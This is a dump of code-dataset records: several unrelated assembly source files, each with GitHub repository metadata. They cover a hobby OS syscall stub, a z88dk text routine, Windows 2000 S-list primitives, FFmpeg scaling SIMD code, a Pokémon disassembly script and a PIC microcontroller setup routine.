36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
38.730263
2,999
0.663326
694353ecdf728e78d343157f10709ddfea850ca9
238
asm
Assembly
Userland/SampleCodeModule/asm/libasm.asm
Reversive/taur-os
a11dbc93e9488cdde7a107a741e999a42afbbb0c
[ "BSD-3-Clause" ]
4
2020-10-21T23:48:15.000Z
2020-10-24T19:58:34.000Z
Userland/SampleCodeModule/asm/libasm.asm
Reversive/taur-os
a11dbc93e9488cdde7a107a741e999a42afbbb0c
[ "BSD-3-Clause" ]
null
null
null
Userland/SampleCodeModule/asm/libasm.asm
Reversive/taur-os
a11dbc93e9488cdde7a107a741e999a42afbbb0c
[ "BSD-3-Clause" ]
null
null
null
GLOBAL _syscall GLOBAL invalid_opcode_test _syscall: push rbp mov rbp, rsp int 0x80 mov rsp, rbp pop rbp ret invalid_opcode_test: push rbp mov rbp, rsp mov rbx, 0x20 mov cr6, rax mov rsp, rbp pop rbp ret
11.9
27
0.672269
afe3962851423276c2baed39cb809897baa97525
3,668
asm
Assembly
libsrc/_DEVELOPMENT/font/fzx/z80/asm_fzx_puts_justified.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/font/fzx/z80/asm_fzx_puts_justified.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/font/fzx/z80/asm_fzx_puts_justified.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; int fzx_puts_justified(struct fzx_state *fs, char *s, uint16_t allowed_width) SECTION code_font SECTION code_font_fzx PUBLIC asm_fzx_puts_justified EXTERN __fzx_puts_newline EXTERN error_mc, error_znc, l_inc_sp, l_divu_16_16x16 EXTERN asm_fzx_string_extent, asm_strchr, asm_fzx_putc asm_fzx_puts_justified: ; enter : ix = struct fzx_state * ; hl = char *s ; bc = allowed_width in pixels ; ; exit : success ; ; hl = 0 ; carry reset ; ; fail if string extent exceeds allowed_width ; ; hl = -1 ; carry set ; ; fail if y bounds exceeded ; ; hl = next unprinted char *s ; carry set ; ; uses : af, bc, de, hl, af' ld a,(hl) or a jp nz, error_znc ; find out amount of additional padding required push hl ; save char *s push hl ; save char *s push bc ; save allowed_width ex de,hl ; de = char *s ld l,(ix+3) ld h,(ix+4) ; hl = struct fzx_font * call asm_fzx_string_extent ; hl = string extent in pixels ; stack = char *s, char *s, allowed_width ex de,hl ; de = string extent pop hl ; hl = allowed_width or a sbc hl,de ; hl = additional_padding in pixels jp c, error_mc - 2 ; if string extent exceeds allowed width ex (sp),hl ; count number of spaces in string ; hl = char *s ; stack = char *s, additional_padding ld c,' ' ld de,-1 count_loop: inc de ; number of spaces found so far call asm_strchr inc hl ; move past space jr nc, count_loop ; if space found ; compute distributed padding pop hl ; hl = additional_padding push de ; hl = additional_padding in pixels ; de = number of spaces ; stack = char *s, number of spaces ld a,d or e jr z, number_spaces_zero call l_divu_16_16x16 ex de,hl ; hl = remainder_padding, de = extra_padding add hl,de ; hl = last_padding number_spaces_zero: pop bc ex (sp),hl push de ; output string with padding ; hl = char *s ; bc = number of spaces ; stack = last_padding, extra_padding puts_loop: ld a,(hl) or a jp z, error_znc - 2 ; return success push bc push hl ld c,a call asm_fzx_putc jr c, off_screen pop hl pop bc ld a,(hl) inc hl cp ' ' jr nz, puts_loop ; space encountered ; hl = char *s ; bc = number of spaces ; stack = remainder_padding, extra_padding pop de ; de = extra_padding dec bc ld a,b or c jr nz, add_spacing ; last space pop de ; de = last_padding push de add_spacing: push de ; hl = char *s ; bc = number of spaces ; de = spacing ; stack = last_padding, extra_padding push hl ld l,(ix+5) ld h,(ix+6) ; hl = x coord add hl,de ld (ix+5),l ld (ix+6),h ; store new x coord pop hl jr puts_loop off_screen: ; stack = last_padding, extra_padding, number of spaces, char *s dec a jr nz, newline ; y went out of bounds, must bail pop hl ; hl = next char *s jp l_inc_sp - 6 newline: call __fzx_puts_newline pop hl pop bc jr puts_loop
18.619289
79
0.52699
7a1f1f07d37473d7529c329550218837b3958433
5,417
asm
Assembly
private/ntos/rtl/i386/slist.asm
King0987654/windows2000
01f9c2e62c4289194e33244aade34b7d19e7c9b8
[ "MIT" ]
11
2017-09-02T11:27:08.000Z
2022-01-02T15:25:24.000Z
private/ntos/rtl/i386/slist.asm
King0987654/windows2000
01f9c2e62c4289194e33244aade34b7d19e7c9b8
[ "MIT" ]
null
null
null
private/ntos/rtl/i386/slist.asm
King0987654/windows2000
01f9c2e62c4289194e33244aade34b7d19e7c9b8
[ "MIT" ]
14
2019-01-16T01:01:23.000Z
2022-02-20T15:54:27.000Z
title "Interlocked Support" ;++ ; ; Copyright (c) 1996 Microsoft Corporation ; ; Module Name: ; ; slist.asm ; ; Abstract: ; ; This module implements functions to support interlocked S-List ; operations. ; ; Author: ; ; David N. Cutler (davec) 13-Mar-1996 ; ; Environment: ; ; Any mode. ; ; Revision History: ; ;-- .386p .xlist include ks386.inc include callconv.inc ; calling convention macros include mac386.inc .list _TEXT$00 SEGMENT DWORD PUBLIC 'CODE' ASSUME DS:FLAT, ES:FLAT, SS:NOTHING, FS:NOTHING, GS:NOTHING page , 132 subttl "Interlocked Pop Entry Sequenced List" ;++ ; ; PVOID ; FASTCALL ; RtlpInterlockedPopEntrySList ( ; IN PSLIST_HEADER ListHead ; ) ; ; Routine Description: ; ; This function removes an entry from the front of a sequenced singly ; linked list so that access to the list is synchronized in an MP system. ; If there are no entries in the list, then a value of NULL is returned. ; Otherwise, the address of the entry that is removed is returned as the ; function value. ; ; Arguments: ; ; (ecx) = ListHead - Supplies a pointer to the sequenced listhead from ; which an entry is to be removed. ; ; Return Value: ; ; The address of the entry removed from the list, or NULL if the list is ; empty. ; ;-- cPublicFastCall RtlpInterlockedPopEntrySList, 1 cPublicFpo 0,2 ; ; Save nonvolatile registers and read the listhead sequence number followed ; by the listhead next link. ; ; N.B. These two dwords MUST be read exactly in this order. ; push ebx ; save nonvolatile registers push ebp ; mov ebp, ecx ; save listhead address mov edx,[ebp] + 4 ; get current sequence number mov eax,[ebp] + 0 ; get current next link ; ; If the list is empty, then there is nothing that can be removed. ; Epop10: or eax, eax ; check if list is empty jz short Epop20 ; if z set, list is empty mov ecx, edx ; copy sequence number and depth add ecx, 0FFFFH ; adjust sequence number and depth ; ; N.B. It is possible for the following instruction to fault in the rare ; case where the first entry in the list is allocated on another ; processor and free between the time the free pointer is read above ; and the following instruction. When this happens, the access fault ; code continues execution by skipping the following instruction. ; This results in the compare failing and the entire operation is ; retried. ; mov ebx, [eax] ; get address of successor entry .586 lock cmpxchg8b qword ptr [ebp] ; compare and exchange .386 jnz short Epop10 ; if z clear, exchange failed ; ; Restore nonvolatile registers and return result. ; cPublicFpo 0,0 Epop20: pop ebp ; restore nonvolatile registers pop ebx ; fstRET RtlpInterlockedPopEntrySList fstENDP RtlpInterlockedPopEntrySList page , 132 subttl "Interlocked Push Entry Sequenced List" ;++ ; ; PVOID ; FASTCALL ; RtlpInterlockedPushEntrySList ( ; IN PSLIST_HEADER ListHead, ; IN PVOID ListEntry ; ) ; ; Routine Description: ; ; This function inserts an entry at the head of a sequenced singly linked ; list so that access to the list is synchronized in an MP system. ; ; Arguments: ; ; (ecx) ListHead - Supplies a pointer to the sequenced listhead into which ; an entry is to be inserted. ; ; (edx) ListEntry - Supplies a pointer to the entry to be inserted at the ; head of the list. ; ; Return Value: ; ; Previous contents of ListHead. NULL implies list went from empty ; to not empty. ; ;-- cPublicFastCall RtlpInterlockedPushEntrySList, 2 cPublicFpo 0,2 ; ; Save nonvolatile registers and read the listhead sequence number followed ; by the listhead next link. ; ; N.B. These two dwords MUST be read exactly in this order. ; push ebx ; save nonvolatile registers push ebp ; mov ebp, ecx ; save listhead address mov ebx, edx ; save list entry address mov edx,[ebp] + 4 ; get current sequence number mov eax,[ebp] + 0 ; get current next link Epsh10: mov [ebx], eax ; set next link in new first entry mov ecx, edx ; copy sequence number add ecx, 010001H ; increment sequence number and depth .586 lock cmpxchg8b qword ptr [ebp] ; compare and exchange .386 jnz short Epsh10 ; if z clear, exchange failed ; ; Restore nonvolatile registers and return result. ; cPublicFpo 0,0 pop ebp ; restore nonvolatile registers pop ebx ; fstRET RtlpInterlockedPushEntrySList fstENDP RtlpInterlockedPushEntrySList _TEXT$00 ends end
26.950249
78
0.593502
a652644bd95716872e4904d27918a2180df7e2ba
306
asm
Assembly
scripts/SafariZoneCenterRestHouse.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
scripts/SafariZoneCenterRestHouse.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
scripts/SafariZoneCenterRestHouse.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
SafariZoneCenterRestHouse_Script: jp EnableAutoTextBoxDrawing SafariZoneCenterRestHouse_TextPointers: dw SafariZoneRestHouse1Text1 dw SafariZoneRestHouse1Text2 SafariZoneRestHouse1Text1: TX_FAR _SafariZoneRestHouse1Text1 db "@" SafariZoneRestHouse1Text2: TX_FAR _SafariZoneRestHouse1Text2 db "@"
20.4
39
0.875817
692a88fe39e4535a4b8a08389451e6507b76ca35
14,273
asm
Assembly
01_Develop/libXMFFmpeg/Source/libswscale/x86/scale.asm
mcodegeeks/OpenKODE-Framework
d4382d781da7f488a0e7667362a89e8e389468dd
[ "MIT" ]
2
2017-08-03T07:15:00.000Z
2018-06-18T10:32:53.000Z
01_Develop/libXMFFmpeg/Source/libswscale/x86/scale.asm
mcodegeeks/OpenKODE-Framework
d4382d781da7f488a0e7667362a89e8e389468dd
[ "MIT" ]
null
null
null
01_Develop/libXMFFmpeg/Source/libswscale/x86/scale.asm
mcodegeeks/OpenKODE-Framework
d4382d781da7f488a0e7667362a89e8e389468dd
[ "MIT" ]
2
2019-03-04T22:57:42.000Z
2020-03-06T01:32:26.000Z
;****************************************************************************** ;* x86-optimized horizontal line scaling functions ;* Copyright (c) 2011 Ronald S. Bultje <rsbultje@gmail.com> ;* ;* This file is part of Libav. ;* ;* Libav is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* Libav is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with Libav; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "x86inc.asm" %include "x86util.asm" SECTION_RODATA max_19bit_int: times 4 dd 0x7ffff max_19bit_flt: times 4 dd 524287.0 minshort: times 8 dw 0x8000 unicoeff: times 4 dd 0x20000000 SECTION .text ;----------------------------------------------------------------------------- ; horizontal line scaling ; ; void hscale<source_width>to<intermediate_nbits>_<filterSize>_<opt> ; (SwsContext *c, int{16,32}_t *dst, ; int dstW, const uint{8,16}_t *src, ; const int16_t *filter, ; const int32_t *filterPos, int filterSize); ; ; Scale one horizontal line. Input is either 8-bits width or 16-bits width ; ($source_width can be either 8, 9, 10 or 16, difference is whether we have to ; downscale before multiplying). Filter is 14-bits. Output is either 15bits ; (in int16_t) or 19bits (in int32_t), as given in $intermediate_nbits. Each ; output pixel is generated from $filterSize input pixels, the position of ; the first pixel is given in filterPos[nOutputPixel]. ;----------------------------------------------------------------------------- ; SCALE_FUNC source_width, intermediate_nbits, filtersize, filtersuffix, opt, n_args, n_xmm %macro SCALE_FUNC 7 cglobal hscale%1to%2_%4_%5, %6, 7, %7 %ifdef ARCH_X86_64 movsxd r2, r2d %define mov32 movsxd %else ; x86-32 %define mov32 mov %endif ; x86-64 %if %2 == 19 %if mmsize == 8 ; mmx mova m2, [max_19bit_int] %elifidn %5, sse4 mova m2, [max_19bit_int] %else ; ssse3/sse2 mova m2, [max_19bit_flt] %endif ; mmx/sse2/ssse3/sse4 %endif ; %2 == 19 %if %1 == 16 mova m6, [minshort] mova m7, [unicoeff] %elif %1 == 8 pxor m3, m3 %endif ; %1 == 8/16 %if %1 == 8 %define movlh movd %define movbh movh %define srcmul 1 %else ; %1 == 9-16 %define movlh movq %define movbh movu %define srcmul 2 %endif ; %1 == 8/9-16 %ifnidn %3, X ; setup loop %if %3 == 8 shl r2, 1 ; this allows *16 (i.e. now *8) in lea instructions for the 8-tap filter %define r2shr 1 %else ; %3 == 4 %define r2shr 0 %endif ; %3 == 8 lea r4, [r4+r2*8] %if %2 == 15 lea r1, [r1+r2*(2>>r2shr)] %else ; %2 == 19 lea r1, [r1+r2*(4>>r2shr)] %endif ; %2 == 15/19 lea r5, [r5+r2*(4>>r2shr)] neg r2 .loop: %if %3 == 4 ; filterSize == 4 scaling ; load 2x4 or 4x4 source pixels into m0/m1 mov32 r0, dword [r5+r2*4+0] ; filterPos[0] mov32 r6, dword [r5+r2*4+4] ; filterPos[1] movlh m0, [r3+r0*srcmul] ; src[filterPos[0] + {0,1,2,3}] %if mmsize == 8 movlh m1, [r3+r6*srcmul] ; src[filterPos[1] + {0,1,2,3}] %else ; mmsize == 16 %if %1 > 8 movhps m0, [r3+r6*srcmul] ; src[filterPos[1] + {0,1,2,3}] %else ; %1 == 8 movd m4, [r3+r6*srcmul] ; src[filterPos[1] + {0,1,2,3}] %endif mov32 r0, dword [r5+r2*4+8] ; filterPos[2] mov32 r6, dword [r5+r2*4+12] ; filterPos[3] movlh m1, [r3+r0*srcmul] ; src[filterPos[2] + {0,1,2,3}] %if %1 > 8 movhps m1, [r3+r6*srcmul] ; src[filterPos[3] + {0,1,2,3}] %else ; %1 == 8 movd m5, [r3+r6*srcmul] ; src[filterPos[3] + {0,1,2,3}] punpckldq m0, m4 punpckldq m1, m5 %endif ; %1 == 8 && %5 <= ssse %endif ; mmsize == 8/16 %if %1 == 8 punpcklbw m0, m3 ; byte -> word punpcklbw m1, m3 ; byte -> word %endif ; %1 == 8 ; multiply with filter coefficients %if %1 == 16 ; pmaddwd needs signed adds, so this moves unsigned -> signed, we'll ; add back 0x8000 * sum(coeffs) after the horizontal add psubw m0, m6 psubw m1, m6 %endif ; %1 == 16 pmaddwd m0, [r4+r2*8+mmsize*0] ; *= filter[{0,1,..,6,7}] pmaddwd m1, [r4+r2*8+mmsize*1] ; *= filter[{8,9,..,14,15}] ; add up horizontally (4 srcpix * 4 coefficients -> 1 dstpix) %if mmsize == 8 ; mmx movq m4, m0 punpckldq m0, m1 punpckhdq m4, m1 paddd m0, m4 %elifidn %5, sse2 mova m4, m0 shufps m0, m1, 10001000b shufps m4, m1, 11011101b paddd m0, m4 %else ; ssse3/sse4 phaddd m0, m1 ; filter[{ 0, 1, 2, 3}]*src[filterPos[0]+{0,1,2,3}], ; filter[{ 4, 5, 6, 7}]*src[filterPos[1]+{0,1,2,3}], ; filter[{ 8, 9,10,11}]*src[filterPos[2]+{0,1,2,3}], ; filter[{12,13,14,15}]*src[filterPos[3]+{0,1,2,3}] %endif ; mmx/sse2/ssse3/sse4 %else ; %3 == 8, i.e. filterSize == 8 scaling ; load 2x8 or 4x8 source pixels into m0, m1, m4 and m5 mov32 r0, dword [r5+r2*2+0] ; filterPos[0] mov32 r6, dword [r5+r2*2+4] ; filterPos[1] movbh m0, [r3+ r0 *srcmul] ; src[filterPos[0] + {0,1,2,3,4,5,6,7}] %if mmsize == 8 movbh m1, [r3+(r0+4)*srcmul] ; src[filterPos[0] + {4,5,6,7}] movbh m4, [r3+ r6 *srcmul] ; src[filterPos[1] + {0,1,2,3}] movbh m5, [r3+(r6+4)*srcmul] ; src[filterPos[1] + {4,5,6,7}] %else ; mmsize == 16 movbh m1, [r3+ r6 *srcmul] ; src[filterPos[1] + {0,1,2,3,4,5,6,7}] mov32 r0, dword [r5+r2*2+8] ; filterPos[2] mov32 r6, dword [r5+r2*2+12] ; filterPos[3] movbh m4, [r3+ r0 *srcmul] ; src[filterPos[2] + {0,1,2,3,4,5,6,7}] movbh m5, [r3+ r6 *srcmul] ; src[filterPos[3] + {0,1,2,3,4,5,6,7}] %endif ; mmsize == 8/16 %if %1 == 8 punpcklbw m0, m3 ; byte -> word punpcklbw m1, m3 ; byte -> word punpcklbw m4, m3 ; byte -> word punpcklbw m5, m3 ; byte -> word %endif ; %1 == 8 ; multiply %if %1 == 16 ; pmaddwd needs signed adds, so this moves unsigned -> signed, we'll ; add back 0x8000 * sum(coeffs) after the horizontal add psubw m0, m6 psubw m1, m6 psubw m4, m6 psubw m5, m6 %endif ; %1 == 16 pmaddwd m0, [r4+r2*8+mmsize*0] ; *= filter[{0,1,..,6,7}] pmaddwd m1, [r4+r2*8+mmsize*1] ; *= filter[{8,9,..,14,15}] pmaddwd m4, [r4+r2*8+mmsize*2] ; *= filter[{16,17,..,22,23}] pmaddwd m5, [r4+r2*8+mmsize*3] ; *= filter[{24,25,..,30,31}] ; add up horizontally (8 srcpix * 8 coefficients -> 1 dstpix) %if mmsize == 8 paddd m0, m1 paddd m4, m5 movq m1, m0 punpckldq m0, m4 punpckhdq m1, m4 paddd m0, m1 %elifidn %5, sse2 %if %1 == 8 %define mex m6 %else %define mex m3 %endif ; emulate horizontal add as transpose + vertical add mova mex, m0 punpckldq m0, m1 punpckhdq mex, m1 paddd m0, mex mova m1, m4 punpckldq m4, m5 punpckhdq m1, m5 paddd m4, m1 mova m1, m0 punpcklqdq m0, m4 punpckhqdq m1, m4 paddd m0, m1 %else ; ssse3/sse4 ; FIXME if we rearrange the filter in pairs of 4, we can ; load pixels likewise and use 2 x paddd + phaddd instead ; of 3 x phaddd here, faster on older cpus phaddd m0, m1 phaddd m4, m5 phaddd m0, m4 ; filter[{ 0, 1,..., 6, 7}]*src[filterPos[0]+{0,1,...,6,7}], ; filter[{ 8, 9,...,14,15}]*src[filterPos[1]+{0,1,...,6,7}], ; filter[{16,17,...,22,23}]*src[filterPos[2]+{0,1,...,6,7}], ; filter[{24,25,...,30,31}]*src[filterPos[3]+{0,1,...,6,7}] %endif ; mmx/sse2/ssse3/sse4 %endif ; %3 == 4/8 %else ; %3 == X, i.e. any filterSize scaling %ifidn %4, X4 %define r6sub 4 %else ; %4 == X || %4 == X8 %define r6sub 0 %endif ; %4 ==/!= X4 %ifdef ARCH_X86_64 push r12 movsxd r6, r6d ; filterSize lea r12, [r3+(r6-r6sub)*srcmul] ; &src[filterSize&~4] %define src_reg r11 %define r1x r10 %define filter2 r12 %else ; x86-32 lea r0, [r3+(r6-r6sub)*srcmul] ; &src[filterSize&~4] mov r6m, r0 %define src_reg r3 %define r1x r1 %define filter2 r6m %endif ; x86-32/64 lea r5, [r5+r2*4] %if %2 == 15 lea r1, [r1+r2*2] %else ; %2 == 19 lea r1, [r1+r2*4] %endif ; %2 == 15/19 movifnidn r1mp, r1 neg r2 .loop: mov32 r0, dword [r5+r2*4+0] ; filterPos[0] mov32 r1x, dword [r5+r2*4+4] ; filterPos[1] ; FIXME maybe do 4px/iteration on x86-64 (x86-32 wouldn't have enough regs)? pxor m4, m4 pxor m5, m5 mov src_reg, r3mp .innerloop: ; load 2x4 (mmx) or 2x8 (sse) source pixels into m0/m1 -> m4/m5 movbh m0, [src_reg+r0 *srcmul] ; src[filterPos[0] + {0,1,2,3(,4,5,6,7)}] movbh m1, [src_reg+(r1x+r6sub)*srcmul] ; src[filterPos[1] + {0,1,2,3(,4,5,6,7)}] %if %1 == 8 punpcklbw m0, m3 punpcklbw m1, m3 %endif ; %1 == 8 ; multiply %if %1 == 16 ; pmaddwd needs signed adds, so this moves unsigned -> signed, we'll ; add back 0x8000 * sum(coeffs) after the horizontal add psubw m0, m6 psubw m1, m6 %endif ; %1 == 16 pmaddwd m0, [r4 ] ; filter[{0,1,2,3(,4,5,6,7)}] pmaddwd m1, [r4+(r6+r6sub)*2] ; filter[filtersize+{0,1,2,3(,4,5,6,7)}] paddd m4, m0 paddd m5, m1 add r4, mmsize add src_reg, srcmul*mmsize/2 cmp src_reg, filter2 ; while (src += 4) < &src[filterSize] jl .innerloop %ifidn %4, X4 mov32 r1x, dword [r5+r2*4+4] ; filterPos[1] movlh m0, [src_reg+r0 *srcmul] ; split last 4 srcpx of dstpx[0] sub r1x, r6 ; and first 4 srcpx of dstpx[1] %if %1 > 8 movhps m0, [src_reg+(r1x+r6sub)*srcmul] %else ; %1 == 8 movd m1, [src_reg+(r1x+r6sub)*srcmul] punpckldq m0, m1 %endif ; %1 == 8 && %5 <= ssse %if %1 == 8 punpcklbw m0, m3 %endif ; %1 == 8 %if %1 == 16 ; pmaddwd needs signed adds, so this moves unsigned -> signed, we'll ; add back 0x8000 * sum(coeffs) after the horizontal add psubw m0, m6 %endif ; %1 == 16 pmaddwd m0, [r4] %endif ; %4 == X4 lea r4, [r4+(r6+r6sub)*2] %if mmsize == 8 ; mmx movq m0, m4 punpckldq m4, m5 punpckhdq m0, m5 paddd m0, m4 %else ; mmsize == 16 %ifidn %5, sse2 mova m1, m4 punpcklqdq m4, m5 punpckhqdq m1, m5 paddd m4, m1 %else ; ssse3/sse4 phaddd m4, m5 %endif ; sse2/ssse3/sse4 %ifidn %4, X4 paddd m4, m0 %endif ; %3 == X4 %ifidn %5, sse2 pshufd m4, m4, 11011000b movhlps m0, m4 paddd m0, m4 %else ; ssse3/sse4 phaddd m4, m4 SWAP 0, 4 %endif ; sse2/ssse3/sse4 %endif ; mmsize == 8/16 %endif ; %3 ==/!= X %if %1 == 16 ; add 0x8000 * sum(coeffs), i.e. back from signed -> unsigned paddd m0, m7 %endif ; %1 == 16 ; clip, store psrad m0, 14 + %1 - %2 %ifidn %3, X movifnidn r1, r1mp %endif ; %3 == X %if %2 == 15 packssdw m0, m0 %ifnidn %3, X movh [r1+r2*(2>>r2shr)], m0 %else ; %3 == X movd [r1+r2*2], m0 %endif ; %3 ==/!= X %else ; %2 == 19 %if mmsize == 8 PMINSD_MMX m0, m2, m4 %elifidn %5, sse4 pminsd m0, m2 %else ; sse2/ssse3 cvtdq2ps m0, m0 minps m0, m2 cvtps2dq m0, m0 %endif ; mmx/sse2/ssse3/sse4 %ifnidn %3, X mova [r1+r2*(4>>r2shr)], m0 %else ; %3 == X movq [r1+r2*4], m0 %endif ; %3 ==/!= X %endif ; %2 == 15/19 %ifnidn %3, X add r2, (mmsize<<r2shr)/4 ; both 8tap and 4tap really only do 4 pixels (or for mmx: 2 pixels) ; per iteration. see "shl r2,1" above as for why we do this %else ; %3 == X add r2, 2 %endif ; %3 ==/!= X jl .loop %ifnidn %3, X REP_RET %else ; %3 == X %ifdef ARCH_X86_64 pop r12 RET %else ; x86-32 REP_RET %endif ; x86-32/64 %endif ; %3 ==/!= X %endmacro ; SCALE_FUNCS source_width, intermediate_nbits, opt, n_xmm %macro SCALE_FUNCS 4 SCALE_FUNC %1, %2, 4, 4, %3, 6, %4 SCALE_FUNC %1, %2, 8, 8, %3, 6, %4 %if mmsize == 8 SCALE_FUNC %1, %2, X, X, %3, 7, %4 %else SCALE_FUNC %1, %2, X, X4, %3, 7, %4 SCALE_FUNC %1, %2, X, X8, %3, 7, %4 %endif %endmacro ; SCALE_FUNCS2 opt, 8_xmm_args, 9to10_xmm_args, 16_xmm_args %macro SCALE_FUNCS2 4 %ifnidn %1, sse4 SCALE_FUNCS 8, 15, %1, %2 SCALE_FUNCS 9, 15, %1, %3 SCALE_FUNCS 10, 15, %1, %3 SCALE_FUNCS 14, 15, %1, %3 SCALE_FUNCS 16, 15, %1, %4 %endif ; !sse4 SCALE_FUNCS 8, 19, %1, %2 SCALE_FUNCS 9, 19, %1, %3 SCALE_FUNCS 10, 19, %1, %3 SCALE_FUNCS 14, 19, %1, %3 SCALE_FUNCS 16, 19, %1, %4 %endmacro %ifdef ARCH_X86_32 INIT_MMX SCALE_FUNCS2 mmx, 0, 0, 0 %endif INIT_XMM SCALE_FUNCS2 sse2, 6, 7, 8 SCALE_FUNCS2 ssse3, 6, 6, 8 SCALE_FUNCS2 sse4, 6, 6, 8
32.811494
113
0.520844
97b0d8e5c9460d31fcc244e0d8b140b316a5eff8
3,480
asm
Assembly
init.asm
zecarlos1957/Battery-charger-Control
5618a44aa16b26e70ab6e7e786c9e3cbc1db9fb5
[ "MIT" ]
2
2020-12-01T18:00:19.000Z
2021-12-01T18:51:57.000Z
init.asm
zecarlos1957/Battery-charger-Control
5618a44aa16b26e70ab6e7e786c9e3cbc1db9fb5
[ "MIT" ]
1
2019-12-13T15:12:48.000Z
2019-12-13T15:12:48.000Z
init.asm
zecarlos1957/Battery-charger-Control
5618a44aa16b26e70ab6e7e786c9e3cbc1db9fb5
[ "MIT" ]
null
null
null
;***** COMPILATION MESSAGES & WARNINGS ***** ERRORLEVEL -207 ; Found label after column 1. ERRORLEVEL -302 ; Register in operand not in bank 0. #include "p16f876a.inc" global SetupConfig CODE ;**************************************************** SetupConfig ; config I/O Ports banksel TRISA movlw b'00001111' ; -------1' AN0 input U1 analog signal ; ------1- AN1 input U2 analog signal ; -----1-- AN2 input I1 analog signal ; ----1--- AN3 input temperature analog signal ; ---0---- RA4 output RS display ; --0----- RA5 output select 40A/120A movwf TRISA movlw b'11100000' ; 1------- RB7 input button Up ; -1------ RB6 input button Down ; --1----- RB5 input button Ok ; ---0---- RB4 display Enable ; ----0000 RB0-RB3 display data movwf TRISB movlw b'11010010' ; xxxxxxx0 RC0 output alarm sirene * ; xxxxxx1x RC1 DTR ; xxxxx0xx RC2 PWM ; xxxx0xxx RC3 DSR ; xxx1xxxx RC4 RTS ; xx0xxxxx RC5 CTS ; xxxxxxxx RC6 TX serial ; xxxxxxxx RC7 RX serial movwf TRISC ; TRM0 config movlw b'00000111' ; configure Timer0 ; 0------- PORTB pull-up resistor enable ; --0----- TMR0 source clock internal(TOCS = 0) ; ----0--- prescaler assigned to Timer0 (PSA = 0) ; -----111 prescale = 1:256 (PS = 111) movwf OPTION_REG ; Setup AD Converter ; ADCON0 b'11xxx001' movlw b'10000010' ; 1------- right just = 10 bits result (ADFM =1) ; -0------ AD clock from internal RC Oscillator (ADCS2 = 0) ; ----0010 AN0,1,2,3,4 Vdd Vref+, Vss Vref- movwf ADCON1 ; set highest PWM value movlw 0xff ; movwf PR2 ; Set PWM period ; Setup PWM module banksel CCP1CON movf CCP1CON,w andlw 0xf0 iorlw 0x0c movwf CCP1CON ; --xx---- 2 LSB bits duty cicle ; ----11xx enable PWM mode clrf PORTA clrf PORTB clrf PORTC ;setup TMR2 movlw b'00000000' ; -0000--- TMR2 output postscaler 1:1 ; -----x-- TMR2 On/Off ; ------01 clock prescaler 1:1 movwf T2CON clrf CCPR1L bsf T2CON,TMR2ON banksel SPBRG movlw 0x19 ; 9600 bdps (BRH=1) movwf SPBRG movlw b'00100100' ; -0------ 8 bits transmit ; --1----- transmite enable ; ---0---- Asynchronous mode ; -----1-- hi speed (BRGH) ; ------x- TRMT ; -------0 Data9BitTransmit movwf TXSTA bsf PIE1,RCIE ; Enable USART interrupt banksel RCSTA movlw b'00010000' ; 0------- Serial port dissable ; -0------ 8 bits reception ; ---1---- enable continuous receive ; ----0--- disable addr detection. 9 can be parity bit ; -----0-- framing error ; ------0- no overrun error ; -------0 Data9BitReceive movwf RCSTA bcf PIR1,RCIF ; Clear interrupt flag bsf INTCON,PEIE ; Enable Peripheral interrupt ; movlw BAUD_9600 ; pagesel UART_Init ; call UART_Init return ;************************************************************************* END
23.513514
74
0.48477
bf7af61b8bfcdcb59f49ff9806cbc0a71b923332
15,791
